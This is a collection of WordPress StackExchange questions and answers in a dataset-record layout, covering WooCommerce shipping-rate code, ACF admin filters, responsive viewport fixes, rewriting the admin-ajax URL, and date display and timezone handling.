"text": "<p>Still can't comment so I need to post this fix to the above awesome answer.</p>\n\n<p>For the rate calc to work properly, the <code>return $rates;</code> line must be outside the cart loop.</p>\n\n<p>The complete function should be:</p>\n\n<pre><code>$step_change = 5; // Steps for item\n$item_count = 0;\n\n// Checking in cart items\nforeach( WC()->cart->get_cart() as $cart_item ){\n\n// If we find the shipping class\nif( $cart_item['data']->get_shipping_class() == $slug_class_shipping ){\n\n$item_count += $cart_item['quantity']; // Cart item count\n$rate_operand = ceil( $item_count / $step_change ); // Operand increase each # items here\n\nforeach ( $rates as $rate_key => $rate ){\n // Targetting \"Flat rate\"\n if( 'flat_rate' === $rate->method_id ) {\n $has_taxes = false;\n\n // Set the new cost\n $rates[$rate_key]->cost = $rate->cost * $rate_operand;\n\n // Taxes rate cost (if enabled)\n foreach ($rates[$rate_key]->taxes as $key => $tax){\n if( $tax > 0 ){\n // New tax calculated cost\n $taxes[$key] = $tax * $rate_operand;\n $has_taxes = true;\n }\n }\n // Set new taxes cost\n if( $has_taxes )\n $rates[$rate_key]->taxes = $taxes;\n }\n } \n }\n return $rates;\n}\n</code></pre>\n"
}
] | 2019/04/05 | [
"https://wordpress.stackexchange.com/questions/333554",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/69751/"
] | We need to run WooCommerce flat rate shipping rate based on every X items in the cart, for example:
* 1-5 Items: Delivery = £5
* 6-10 Items: Delivery = £10
* 11-15 Items: Delivery = £15
* *and so on…*
It's essentially £1 per item, but it's in brackets of £5, so 3 items would be £5, and 7 items would be £10, for example.
I'm hoping this is achievable with the out of the box shipping rates, or alternatively, I'd be relatively comfortable writing a theme function, if required - but the client has a limited budget on this.
I've tried looking for more reference on the available shortcodes that I can use in the advanced shipping options, but can't seem to find a way to achieve the above. | For that, you need to use a hooked function in `woocommerce_package_rates` filter hook, targeting "Flat rate" shipping method.
In shipping settings for **flat rate** shipping method you will **set a cost of `5`**.
Each 5 items **step**, the shipping cost will be increased by 5:
• From 1 to 5 Items: Delivery = **`5`**
• From 6 to 10 Items: Delivery = **`10`**
• From 11 to 15 Items: Delivery = **`15`**
• *And so on…*
Here is the code:
```
add_filter( 'woocommerce_package_rates', 'different_rates_based_on_quantity_steps', 10, 2 );
function different_rates_based_on_quantity_steps( $rates, $package ){
$items_count = WC()->cart->get_cart_contents_count(); // Cart item count
$items_change = 5; // number of items needed to increase the cost each time
$rate_operand = ceil( $items_count / $items_change ); // Operand increase each 5 items here
foreach ( $rates as $rate_key => $rate ){
// Targetting "Flat rate"
if( 'flat_rate' === $rate->method_id ) {
$has_taxes = false;
// Set the new cost
$rates[$rate_key]->cost = $rate->cost * $rate_operand;
// Taxes rate cost (if enabled)
foreach ($rates[$rate_key]->taxes as $key => $tax){
if( $tax > 0 ){
// New tax calculated cost
$taxes[$key] = $tax * $rate_operand;
$has_taxes = true;
}
}
// Set new taxes cost
if( $has_taxes )
$rates[$rate_key]->taxes = $taxes;
}
}
return $rates;
}
```
Code goes in function.php file of your active child theme (or active theme). tested and works.
>
> **Refresh the shipping caches:** *(required)*
>
>
> 1. This code is already saved on your active theme's function.php file.
> 2. The cart is empty
> 3. In a shipping zone settings, disable / save any shipping method, then enable back / save.
>
>
> |
333,563 | <p>I'm trying to filter pages in admin area by a custom field created with ACF.</p>
<p>I found a function here ( <a href="http://www.iamabdus.com/blog/wordpress/filter-custom-posts-by-custom-field/" rel="nofollow noreferrer">http://www.iamabdus.com/blog/wordpress/filter-custom-posts-by-custom-field/</a> ) and I adapted that code to my need.</p>
<p>When I click on "pages" the options load correctly, but when I click on "Filter" even if the filter work good, I receive a Warning: "Invalid argument supplied for foreach()".
The var_dump($acf_field) return NULL.</p>
<p>I hope I explained the problem...</p>
<p>Here is the code:</p>
<pre><code>add_action( 'restrict_manage_posts', 'wpse45436_admin_posts_filter_restrict_manage_posts' );
function wpse45436_admin_posts_filter_restrict_manage_posts(){
$acf_field_name='field_5c65759c23c46';
$acf_field=get_field_object($acf_field_name);
var_dump($acf_field);
$post_type_to_filter='page';
$type = 'post';
if (isset($_GET['post_type'])):
$type = $_GET['post_type'];
endif; // isset($_GET['post_type'])
if ($post_type_to_filter == $type):
foreach($acf_field['choices'] as $field_value => $field_label){
$values[$field_label]=$field_value;
}
?>
<select name="custom_field_filter_value">
<option value="">Filtra per tipo pagina</option>
<?php $current_v = isset($_GET['custom_field_filter_value'])? $_GET['custom_field_filter_value']:'';
foreach ($values as $label => $value) :
printf(
'<option value="%s"%s>%s</option>',
$value,
$value == $current_v? ' selected="selected"':'',
$label
);
endforeach;
?>
</select>
<?php
endif;
}
add_filter( 'parse_query', 'wpse45436_posts_filter' );
function wpse45436_posts_filter( $query ){
global $pagenow;
$type = 'post';
if (isset($_GET['post_type'])):
$type = $_GET['post_type'];
endif;
$query->query_vars['meta_value'] = $_GET['custom_field_filter_value'];
}
</code></pre>
| [
{
"answer_id": 333580,
"author": "Pawan Kumar",
"author_id": 164501,
"author_profile": "https://wordpress.stackexchange.com/users/164501",
"pm_score": 1,
"selected": false,
"text": "<p>Try to use this code and modify the custom post name and meta key of acf and it will work.</p>\n\n<pre><code>add_action( 'restrict_manage_posts', 'wpse45436_admin_posts_filter_restrict_manage_posts' );\n/**\n * First create the dropdown\n/** Create the filter dropdown */\nfunction wpse45436_admin_posts_filter_restrict_manage_posts(){\n $type = 'movies'; // change to custom post name.\n if (isset($_GET['movies'])) {\n $type = $_GET['movies'];\n }\n\n //only add filter to post type you want\n if ('movies' == $type){\n //change this to the list of values you want to show\n //in 'label' => 'value' format\n $values = array(\n 'label' => 'value1', \n 'label1' => 'value2',\n 'label2' => 'value3',\n );\n ?>\n <select name=\"ADMIN_FILTER_FIELD_VALUE\">\n <option value=\"\"><?php _e('Filter By ', 'wose45436'); ?></option>\n <?php\n $current_v = isset($_GET['ADMIN_FILTER_FIELD_VALUE'])? $_GET['ADMIN_FILTER_FIELD_VALUE']:'';\n foreach ($values as $label => $value) {\n printf\n (\n '<option value=\"%s\"%s>%s</option>',\n $value,\n $value == $current_v? ' selected=\"selected\"':'',\n $label\n );\n }\n ?>\n </select>\n <?php\n }\n}\n\n\nadd_filter( 'parse_query', 'wpse45436_posts_filter' );\n/**\n * if submitted filter by post meta\n\n * @return Void\n */\nfunction wpse45436_posts_filter( $query ){\n global $pagenow;\n $type = 'movies'; // change to custom post name.\n if (isset($_GET['movies'])) {\n $type = $_GET['movies'];\n }\n if ( 'movies' == $type && is_admin() && $pagenow=='edit.php' && isset($_GET['ADMIN_FILTER_FIELD_VALUE']) && $_GET['ADMIN_FILTER_FIELD_VALUE'] != '') {\n $query->query_vars['meta_key'] = 'META_KEY'; // change to meta key created by acf.\n $query->query_vars['meta_value'] = $_GET['ADMIN_FILTER_FIELD_VALUE']; \n }\n}\n</code></pre>\n"
},
{
"answer_id": 340488,
"author": "David Rhoderick",
"author_id": 119150,
"author_profile": "https://wordpress.stackexchange.com/users/119150",
"pm_score": 0,
"selected": false,
"text": "<p>So I tried Pawan's answer and while it did work, it was applying the filter all over the place, not to the custom post types I wanted. So I made a slight modification that should make this work:</p>\n\n<pre><code>public function filter_exhibitions($post_type, $which) {\n $target = 'exhibition'; // Created this target variable and removed the $_GET stuff\n\n if($post_type == $target) { // Test for correct post type\n $values = array(\n 'Temporary' => 'temporary', // Add your own 'Label' => 'value' pairs here\n 'Permanent' => 'permanent',\n 'Online' => 'online',\n );\n\n ?>\n <select name=\"ADMIN_FILTER_FIELD_VALUE\">\n <option value=\"\"><?php _e('All exhibition types', 'artlytical-media'); // Change this to the default null value display ?></option>\n <?php\n $current_v = isset($_GET['ADMIN_FILTER_FIELD_VALUE'])? $_GET['ADMIN_FILTER_FIELD_VALUE']:'';\n foreach ($values as $label => $value) {\n printf(\n '<option value=\"%s\"%s>%s</option>',\n $value,\n $value == $current_v? ' selected=\"selected\"':'',\n $label\n );\n }\n ?>\n </select>\n <?php\n }\n}\nadd_action( 'restrict_manage_posts', 'filter_exhibitions' );\n\nfunction exhibition_posts_filter($query){\n global $pagenow;\n\n if(is_admin()) {\n $type = $query->query['post_type'];\n $target = 'exhibition';\n\n if($type == $target &&\n $pagenow == 'edit.php' &&\n isset($_GET['ADMIN_FILTER_FIELD_VALUE']) &&\n $_GET['ADMIN_FILTER_FIELD_VALUE'] != '') {\n $query->query_vars['meta_key'] = 'exhibition_type'; // Change to meta key created by acf\n $query->query_vars['meta_value'] = $_GET['ADMIN_FILTER_FIELD_VALUE']; \n }\n }\n}\n\nadd_filter( 'parse_query', 'wpse45436_posts_filter' );\n</code></pre>\n"
}
] | 2019/04/05 | [
"https://wordpress.stackexchange.com/questions/333563",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/163360/"
] | I'm trying to filter pages in admin area by a custom field created with ACF.
I found a function here ( <http://www.iamabdus.com/blog/wordpress/filter-custom-posts-by-custom-field/> ) and I adapted that code to my need.
When I click on "pages" the options load correctly, but when I click on "Filter" even if the filter work good, I receive a Warning: "Invalid argument supplied for foreach()".
The var\_dump($acf\_field) return NULL.
I hope I explained the problem...
Here is the code:
```
add_action( 'restrict_manage_posts', 'wpse45436_admin_posts_filter_restrict_manage_posts' );
function wpse45436_admin_posts_filter_restrict_manage_posts(){
$acf_field_name='field_5c65759c23c46';
$acf_field=get_field_object($acf_field_name);
var_dump($acf_field);
$post_type_to_filter='page';
$type = 'post';
if (isset($_GET['post_type'])):
$type = $_GET['post_type'];
endif; // isset($_GET['post_type'])
if ($post_type_to_filter == $type):
foreach($acf_field['choices'] as $field_value => $field_label){
$values[$field_label]=$field_value;
}
?>
<select name="custom_field_filter_value">
<option value="">Filtra per tipo pagina</option>
<?php $current_v = isset($_GET['custom_field_filter_value'])? $_GET['custom_field_filter_value']:'';
foreach ($values as $label => $value) :
printf(
'<option value="%s"%s>%s</option>',
$value,
$value == $current_v? ' selected="selected"':'',
$label
);
endforeach;
?>
</select>
<?php
endif;
}
add_filter( 'parse_query', 'wpse45436_posts_filter' );
function wpse45436_posts_filter( $query ){
global $pagenow;
$type = 'post';
if (isset($_GET['post_type'])):
$type = $_GET['post_type'];
endif;
$query->query_vars['meta_value'] = $_GET['custom_field_filter_value'];
}
``` | Try to use this code and modify the custom post name and meta key of acf and it will work.
```
add_action( 'restrict_manage_posts', 'wpse45436_admin_posts_filter_restrict_manage_posts' );
/**
* First create the dropdown
/** Create the filter dropdown */
function wpse45436_admin_posts_filter_restrict_manage_posts(){
$type = 'movies'; // change to custom post name.
if (isset($_GET['movies'])) {
$type = $_GET['movies'];
}
//only add filter to post type you want
if ('movies' == $type){
//change this to the list of values you want to show
//in 'label' => 'value' format
$values = array(
'label' => 'value1',
'label1' => 'value2',
'label2' => 'value3',
);
?>
<select name="ADMIN_FILTER_FIELD_VALUE">
<option value=""><?php _e('Filter By ', 'wose45436'); ?></option>
<?php
$current_v = isset($_GET['ADMIN_FILTER_FIELD_VALUE'])? $_GET['ADMIN_FILTER_FIELD_VALUE']:'';
foreach ($values as $label => $value) {
printf
(
'<option value="%s"%s>%s</option>',
$value,
$value == $current_v? ' selected="selected"':'',
$label
);
}
?>
</select>
<?php
}
}
add_filter( 'parse_query', 'wpse45436_posts_filter' );
/**
* if submitted filter by post meta
* @return Void
*/
function wpse45436_posts_filter( $query ){
global $pagenow;
$type = 'movies'; // change to custom post name.
if (isset($_GET['movies'])) {
$type = $_GET['movies'];
}
if ( 'movies' == $type && is_admin() && $pagenow=='edit.php' && isset($_GET['ADMIN_FILTER_FIELD_VALUE']) && $_GET['ADMIN_FILTER_FIELD_VALUE'] != '') {
$query->query_vars['meta_key'] = 'META_KEY'; // change to meta key created by acf.
$query->query_vars['meta_value'] = $_GET['ADMIN_FILTER_FIELD_VALUE'];
}
}
``` |
333,585 | <p>I'm building a Wordpress website at <a href="http://xscoder.com/wp-demo/test/" rel="nofollow noreferrer">http://xscoder.com/wp-demo/test/</a>
<br><br>
I am not able to make it responsive, although all CSS and JS scripts are successfully loaded, as you may see in the Inspector. I guess it's something related to slicknav, although I'm not sure about it, here's the code of my main.js file to call slicknav responsive JS:</p>
<pre><code>$(function(){
$('#menu-primary-menu').slicknav({
prependTo: '.site-branding',
label: '',
allowParentLinks: true
});
});
</code></pre>
<p>May you guys can check my wesbite with the Chrome Inspector and see if there's something wronng, the Console soesn't print any error so I don't really know what I'm doing worng, I'm anewbie :)
<br><br>
Any help will be greatly appreciated!</p>
| [
{
"answer_id": 333588,
"author": "Javi Torre Sustaeta",
"author_id": 164384,
"author_profile": "https://wordpress.stackexchange.com/users/164384",
"pm_score": 1,
"selected": false,
"text": "<p>Add this into your head tags:</p>\n\n<pre><code><script src=\"jquery-3.3.1.min.js\"></script>\n</code></pre>\n\n<p>I have not found a recent jQuery version in your head tags and SlickNav requires jQuery 1.7+.</p>\n\n<p>I do not know if this is the solution for your issue, but try it.</p>\n"
},
{
"answer_id": 333679,
"author": "rudtek",
"author_id": 77767,
"author_profile": "https://wordpress.stackexchange.com/users/77767",
"pm_score": 3,
"selected": true,
"text": "<p>Often times even if we have setup our media queries correctly, the site still isn't responsive to those queries.</p>\n\n<p>You need to set a viewport in your header.php to fix this. More often than not I find that this affects macs instead of PCs. but it's still a good idea to add this no matter the case.</p>\n\n<p>In your site <code><head></code> add this code:</p>\n\n<pre><code><meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n</code></pre>\n\n<p>And it should fix the problem. This is telling the site to be aware of the device width that is viewing the site. </p>\n"
}
] | 2019/04/05 | [
"https://wordpress.stackexchange.com/questions/333585",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143531/"
] | I'm building a Wordpress website at <http://xscoder.com/wp-demo/test/>
I am not able to make it responsive, although all CSS and JS scripts are successfully loaded, as you may see in the Inspector. I guess it's something related to slicknav, although I'm not sure about it, here's the code of my main.js file to call slicknav responsive JS:
```
$(function(){
$('#menu-primary-menu').slicknav({
prependTo: '.site-branding',
label: '',
allowParentLinks: true
});
});
```
May you guys can check my wesbite with the Chrome Inspector and see if there's something wronng, the Console soesn't print any error so I don't really know what I'm doing worng, I'm anewbie :)
Any help will be greatly appreciated! | Often times even if we have setup our media queries correctly, the site still isn't responsive to those queries.
You need to set a viewport in your header.php to fix this. More often than not I find that this affects macs instead of PCs. but it's still a good idea to add this no matter the case.
In your site `<head>` add this code:
```
<meta name="viewport" content="width=device-width, initial-scale=1">
```
And it should fix the problem. This is telling the site to be aware of the device width that is viewing the site. |
333,617 | <p>I'm currently looking for a way to change / hide the default WordPress <code>admin-ajax.php</code> URL. I want to do this to remove the <code>admin</code> from it to prevent misunderstandings by my customers when I use the AJAX URL to read for example a file from my server. In this case, the URL has the admin prefix which is a bit confusing.</p>
<p>So in result the AJAX URl should looks like this: <code>ajax.php</code></p>
<p>I've searched a bit but I can't find any helpful informations. Because of this I can't show you any related code. But when I got it, I'll update my question to help other people.</p>
<p>Maybe there is someone who did this before and can give me some helpful tips so that I can implement this asap? This would be very awesome! </p>
| [
{
"answer_id": 333619,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 0,
"selected": false,
"text": "<p>The googles got me to this place, which does it with a plugin. <a href=\"https://github.com/devgeniem/wp-no-admin-ajax\" rel=\"nofollow noreferrer\">https://github.com/devgeniem/wp-no-admin-ajax</a></p>\n\n<p>Since it is open source, you might look at how they do it. Or just use the plugin.</p>\n\n<p>No experience with it. \"Security by obscurity\" is not one of my things to do. But their process may work for you. If you are planning on copying the file elsewhere, be aware you may need to re-copy after WP updates.</p>\n\n<p>Added: I like Krzysiek Dróżdż's answer, though.</p>\n"
},
{
"answer_id": 333620,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 3,
"selected": false,
"text": "<p>It's not as hard to solve as one might think... If only all plugins/themes respect best practices.</p>\n\n<p>If they do, then all links to <code>admin-ajax.php</code> are generated with <code>admin_url</code> function. And this function has a hook inside, so we can modify the url it returns:</p>\n\n<pre><code>// This will change the url for admin-ajax.php to /ajax/\nfunction modify_adminy_url_for_ajax( $url, $path, $blog_id ) {\n if ( 'admin-ajax.php' == $path ) {\n $url = site_url('/ajax/');\n }\n\n return $url;\n}\nadd_filter( 'admin_url', 'modify_adminy_url_for_ajax', 10, 3 );\n</code></pre>\n\n<p>So now we have to teach WordPress to process such requests. And we can use <code>.htaccess</code> to do so. This line should do the trick:</p>\n\n<pre><code>RewriteRule ^/?ajax/?$ /wp-admin/admin-ajax.php?&%{QUERY_STRING} [L,QSA]\n</code></pre>\n\n<p>So now, all the AJAX requests should be visible as <code>/ajax/</code> and not as <code>wp-admin/admin-ajax.php</code></p>\n"
}
] | 2019/04/05 | [
"https://wordpress.stackexchange.com/questions/333617",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/151233/"
] | I'm currently looking for a way to change / hide the default WordPress `admin-ajax.php` URL. I want to do this to remove the `admin` from it to prevent misunderstandings by my customers when I use the AJAX URL to read for example a file from my server. In this case, the URL has the admin prefix which is a bit confusing.
So in result the AJAX URl should looks like this: `ajax.php`
I've searched a bit but I can't find any helpful informations. Because of this I can't show you any related code. But when I got it, I'll update my question to help other people.
Maybe there is someone who did this before and can give me some helpful tips so that I can implement this asap? This would be very awesome! | It's not as hard to solve as one might think... If only all plugins/themes respect best practices.
If they do, then all links to `admin-ajax.php` are generated with `admin_url` function. And this function has a hook inside, so we can modify the url it returns:
```
// This will change the url for admin-ajax.php to /ajax/
function modify_adminy_url_for_ajax( $url, $path, $blog_id ) {
if ( 'admin-ajax.php' == $path ) {
$url = site_url('/ajax/');
}
return $url;
}
add_filter( 'admin_url', 'modify_adminy_url_for_ajax', 10, 3 );
```
So now we have to teach WordPress to process such requests. And we can use `.htaccess` to do so. This line should do the trick:
```
RewriteRule ^/?ajax/?$ /wp-admin/admin-ajax.php?&%{QUERY_STRING} [L,QSA]
```
So now, all the AJAX requests should be visible as `/ajax/` and not as `wp-admin/admin-ajax.php` |
333,627 | <p>I currently use the following code below in my loop to display dates for groups of posts. Works great, was just wondering if it's possible to change the day from php code 'l'(Sunday-Saturday) to Today and Yesterday for the current posts.</p>
<p>I am guessing Wordpress doesn't have a built-in detection and a function will need to be created to replace the date here? </p>
<pre><code>$my_date = the_date('l, F jS, Y', '<div class="clear"></div><h2>', '</h2>', FALSE); echo $my_date;
</code></pre>
| [
{
"answer_id": 333630,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 2,
"selected": false,
"text": "<p>It took me less than a minute of asking the googles (or bing, or duck) to find this answer:</p>\n\n<p><a href=\"https://stackoverflow.com/questions/3454258/php-date-yesterday-today\">https://stackoverflow.com/questions/3454258/php-date-yesterday-today</a></p>\n\n<p>The accepted answer has the code you want to use (or will give you a starting point). </p>\n\n<p>(And this is not really a WordPress question...it's a PHP question. PHP questions belong on the Stack Overflow place: <a href=\"https://stackoverflow.com/\">https://stackoverflow.com/</a> )</p>\n"
},
{
"answer_id": 333638,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>WordPress has built-in function to display time difference in a nicer way. And its even used almost everywhere in wp-admin ;)</p>\n\n<p>This function is called<a href=\"https://codex.wordpress.org/Function_Reference/human_time_diff\" rel=\"nofollow noreferrer\"> <code>human_time_diff</code></a>. It takes two params: <code>from</code> and <code>to</code> (both as timestamps) and returns a string containing human readable time difference.</p>\n\n<p>And there’s even a filter <code>human_time_diff</code> that will allow you to do your alterations to such strings, so you can make it more or less precise (for example the function can return “4 seconds ago”).</p>\n\n<p>And if you want only the “today/yesterday”, then go for Ricks solution with simple comparison of dates.</p>\n"
}
] | 2019/04/05 | [
"https://wordpress.stackexchange.com/questions/333627",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/145461/"
] | I currently use the following code below in my loop to display dates for groups of posts. Works great, was just wondering if it's possible to change the day from php code 'l'(Sunday-Saturday) to Today and Yesterday for the current posts.
I am guessing Wordpress doesn't have a built-in detection and a function will need to be created to replace the date here?
```
$my_date = the_date('l, F jS, Y', '<div class="clear"></div><h2>', '</h2>', FALSE); echo $my_date;
``` | It took me less than a minute of asking the googles (or bing, or duck) to find this answer:
<https://stackoverflow.com/questions/3454258/php-date-yesterday-today>
The accepted answer has the code you want to use (or will give you a starting point).
(And this is not really a WordPress question...it's a PHP question. PHP questions belong on the Stack Overflow place: <https://stackoverflow.com/> ) |
333,644 | <p>I have a custom post type called X,</p>
<p>Post type X has some custom fields, one of these custom fields is <strong>date</strong>,</p>
<pre><code><input type="date" name="date_added" id="date_added" class="regular-text" value="<?php echo get_post_meta($post->ID,'date_added',true ); ?>">
</code></pre>
<p>When I want to fill this field, WordPress gives me a calendar (which is great),</p>
<p>I want to change this calendar's time zone (Persian calendar),</p>
<p>I would be thankful if anybody helps me.</p>
| [
{
"answer_id": 333646,
"author": "Mulli",
"author_id": 114053,
"author_profile": "https://wordpress.stackexchange.com/users/114053",
"pm_score": -1,
"selected": false,
"text": "<p>Not sure its the complete answer, but try</p>\n\n<pre><code> date_default_timezone_set('Asia/Jerusalem');\n</code></pre>\n\n<p>Replace Jerusalem with exact persian zone word.</p>\n"
},
{
"answer_id": 333656,
"author": "butlerblog",
"author_id": 38603,
"author_profile": "https://wordpress.stackexchange.com/users/38603",
"pm_score": 3,
"selected": true,
"text": "<p>The calendar you are referring to is not provided by WordPress. You are using a \"date\" input field type, which is an HTML5 input specification. The calendar is from your browser based on that.</p>\n\n<p>If your question is about timezone offset for the input itself (so what displays with the input), then you should note that there is no timezone offset for HTML5 \"date\" inputs. It will always be GMT.</p>\n\n<p><strong>Option 1: HTML5 \"datetime-local\"</strong></p>\n\n<p>One possibility would be to use the input type \"datetime-local\" (do not use \"datetime\" as that is a deprecated field type), but keep in mind that may not actually give you what you want either because the timezone will be the user's timezone. If all your users are in the same timezone, then this might be a solution:</p>\n\n<pre><code><input type=\"datetime-local\" name=\"date_added\" id=\"date_added\" class=\"regular-text\" value=\"<?php echo get_post_meta($post->ID,'date_added',true ); ?>\">\n</code></pre>\n\n<p><strong>Option 2: jQuery UI datepicker</strong></p>\n\n<p>A better solution might be to use something like the jQuery UI datepicker (which <em>is</em> included in WordPress). However, that is also GMT by default and is tricky to adjust for timezone offset. Unfortunately, I can't give you an example of timezone offset, but to get you started so you can use it, add the following to your functions.php:</p>\n\n<pre><code>add_action('wp_enqueue_scripts', 'my_add_jquery_datepicker');\nfunction my_add_jquery_datepicker() {\n wp_enqueue_script( 'jquery' );\n wp_enqueue_script( 'jquery-ui-datepicker' );\n $css = wp_register_style( 'jquery-ui', '//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css' );\n wp_enqueue_style( 'jquery-ui', $css );\n}\n</code></pre>\n\n<p>Then to use it, add some jQuery to attach your field's ID as a datepicker field. Just to give you an easy working example, here's a quick-and-dirty way to add it via <code>wp_head</code> (if used, you should implement this in a better way):</p>\n\n<pre><code>add_action( 'wp_head', function() {\n ?>\n jQuery(document).ready(function($) {\n $( \"#date_added\" ).datepicker();\n });\n <?php \n});\n</code></pre>\n\n<p>Once you're able to implement the jQuery datepicker, there are examples out there on how to implement a timezone offset for this date. Google is your friend (as is <a href=\"https://stackoverflow.com/\">stackoverflow</a>).</p>\n\n<p><strong>Or... leave the input as GMT and store as timezone offset</strong></p>\n\n<p>However, all of that being noted, if you want to adjust what the user inputs based on a specific timezone offset, you can take the default that you get as GMT and adjust it for the offset. Keep in mind that is not a \"best practice\" as dates/times should really be stored as GMT and adjusted when displayed.</p>\n"
}
] | 2019/04/06 | [
"https://wordpress.stackexchange.com/questions/333644",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/160944/"
] | I have a custom post type called X,
Post type X has some custom fields, one of these custom fields is **date**,
```
<input type="date" name="date_added" id="date_added" class="regular-text" value="<?php echo get_post_meta($post->ID,'date_added',true ); ?>">
```
When I want to fill this field, WordPress gives me a calendar (which is great),
I want to change this calendar's time zone (Persian calendar),
I would be thankful if anybody helps me. | The calendar you are referring to is not provided by WordPress. You are using a "date" input field type, which is an HTML5 input specification. The calendar is from your browser based on that.
If your question is about timezone offset for the input itself (so what displays with the input), then you should note that there is no timezone offset for HTML5 "date" inputs. It will always be GMT.
**Option 1: HTML5 "datetime-local"**
One possibility would be to use the input type "datetime-local" (do not use "datetime" as that is a deprecated field type), but keep in mind that may not actually give you what you want either because the timezone will be the user's timezone. If all your users are in the same timezone, then this might be a solution:
```
<input type="datetime-local" name="date_added" id="date_added" class="regular-text" value="<?php echo get_post_meta($post->ID,'date_added',true ); ?>">
```
**Option 2: jQuery UI datepicker**
A better solution might be to use something like the jQuery UI datepicker (which *is* included in WordPress). However, that is also GMT by default and is tricky to adjust for timezone offset. Unfortunately, I can't give you an example of timezone offset, but to get you started so you can use it, add the following to your functions.php:
```
add_action('wp_enqueue_scripts', 'my_add_jquery_datepicker');
function my_add_jquery_datepicker() {
wp_enqueue_script( 'jquery' );
wp_enqueue_script( 'jquery-ui-datepicker' );
$css = wp_register_style( 'jquery-ui', '//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css' );
wp_enqueue_style( 'jquery-ui', $css );
}
```
Then to use it, add some jQuery to attach your field's ID as a datepicker field. Just to give you an easy working example, here's a quick-and-dirty way to add it via `wp_head` (if used, you should implement this in a better way):
```
add_action( 'wp_head', function() {
?>
jQuery(document).ready(function($) {
$( "#date_added" ).datepicker();
});
<?php
});
```
Once you're able to implement the jQuery datepicker, there are examples out there on how to implement a timezone offset for this date. Google is your friend (as is [stackoverflow](https://stackoverflow.com/)).
**Or... leave the input as GMT and store as timezone offset**
However, all of that being noted, if you want to adjust what the user inputs based on a specific timezone offset, you can take the default that you get as GMT and adjust it for the offset. Keep in mind that is not a "best practice" as dates/times should really be stored as GMT and adjusted when displayed. |
333,689 | <p>I have a custom taxonomy called collection, with advanced custom fields in it.</p>
<p>I'm using wordpress API, so since I need to filter the API responses by ACF values, I have this filter in my theme <strong>functions.php</strong>:</p>
<pre><code> add_filter( 'rest_collection_query', function( $args ) {
$ignore = array('page', 'per_page', 'search', 'order', 'orderby', 'slug');
foreach ( $_GET as $key => $value ) {
if (!in_array($key, $ignore)) {
$args['meta_query'][] = array(
'key' => $key,
'value' => $value,
);
}
}
return $args;
});
</code></pre>
<p>This works great, except now in the WP admin, my taxonomy checkbox list no longer shows up for the custom post type to which it is registered. </p>
<p>I tried to wrap this block inside <code>if(!is_admin()) {}</code>, but that had no effect. Is there a specific syntax I should be using?</p>
<p>Note, I'm using gutenberg... could that be the reason?</p>
| [
{
"answer_id": 333646,
"author": "Mulli",
"author_id": 114053,
"author_profile": "https://wordpress.stackexchange.com/users/114053",
"pm_score": -1,
"selected": false,
"text": "<p>Not sure its the complete answer, but try</p>\n\n<pre><code> date_default_timezone_set('Asia/Jerusalem');\n</code></pre>\n\n<p>Replace Jerusalem with exact persian zone word.</p>\n"
},
{
"answer_id": 333656,
"author": "butlerblog",
"author_id": 38603,
"author_profile": "https://wordpress.stackexchange.com/users/38603",
"pm_score": 3,
"selected": true,
"text": "<p>The calendar you are referring to is not provided by WordPress. You are using a \"date\" input field type, which is an HTML5 input specification. The calendar is from your browser based on that.</p>\n\n<p>If your question is about timezone offset for the input itself (so what displays with the input), then you should note that there is no timezone offset for HTML5 \"date\" inputs. It will always be GMT.</p>\n\n<p><strong>Option 1: HTML5 \"datetime-local\"</strong></p>\n\n<p>One possibility would be to use the input type \"datetime-local\" (do not use \"datetime\" as that is a deprecated field type), but keep in mind that may not actually give you what you want either because the timezone will be the user's timezone. If all your users are in the same timezone, then this might be a solution:</p>\n\n<pre><code><input type=\"datetime-local\" name=\"date_added\" id=\"date_added\" class=\"regular-text\" value=\"<?php echo get_post_meta($post->ID,'date_added',true ); ?>\">\n</code></pre>\n\n<p><strong>Option 2: jQuery UI datepicker</strong></p>\n\n<p>A better solution might be to use something like the jQuery UI datepicker (which <em>is</em> included in WordPress). However, that is also GMT by default and is tricky to adjust for timezone offset. Unfortunately, I can't give you an example of timezone offset, but to get you started so you can use it, add the following to your functions.php:</p>\n\n<pre><code>add_action('wp_enqueue_scripts', 'my_add_jquery_datepicker');\nfunction my_add_jquery_datepicker() {\n wp_enqueue_script( 'jquery' );\n wp_enqueue_script( 'jquery-ui-datepicker' );\n $css = wp_register_style( 'jquery-ui', '//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css' );\n wp_enqueue_style( 'jquery-ui', $css );\n}\n</code></pre>\n\n<p>Then to use it, add some jQuery to attach your field's ID as a datepicker field. Just to give you an easy working example, here's a quick-and-dirty way to add it via <code>wp_head</code> (if used, you should implement this in a better way):</p>\n\n<pre><code>add_action( 'wp_head', function() {\n ?>\n jQuery(document).ready(function($) {\n $( \"#date_added\" ).datepicker();\n });\n <?php \n});\n</code></pre>\n\n<p>Once you're able to implement the jQuery datepicker, there are examples out there on how to implement a timezone offset for this date. Google is your friend (as is <a href=\"https://stackoverflow.com/\">stackoverflow</a>).</p>\n\n<p><strong>Or... leave the input as GMT and store as timezone offset</strong></p>\n\n<p>However, all of that being noted, if you want to adjust what the user inputs based on a specific timezone offset, you can take the default that you get as GMT and adjust it for the offset. Keep in mind that is not a \"best practice\" as dates/times should really be stored as GMT and adjusted when displayed.</p>\n"
}
] | 2019/04/06 | [
"https://wordpress.stackexchange.com/questions/333689",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/157281/"
] | I have a custom taxonomy called collection, with advanced custom fields in it.
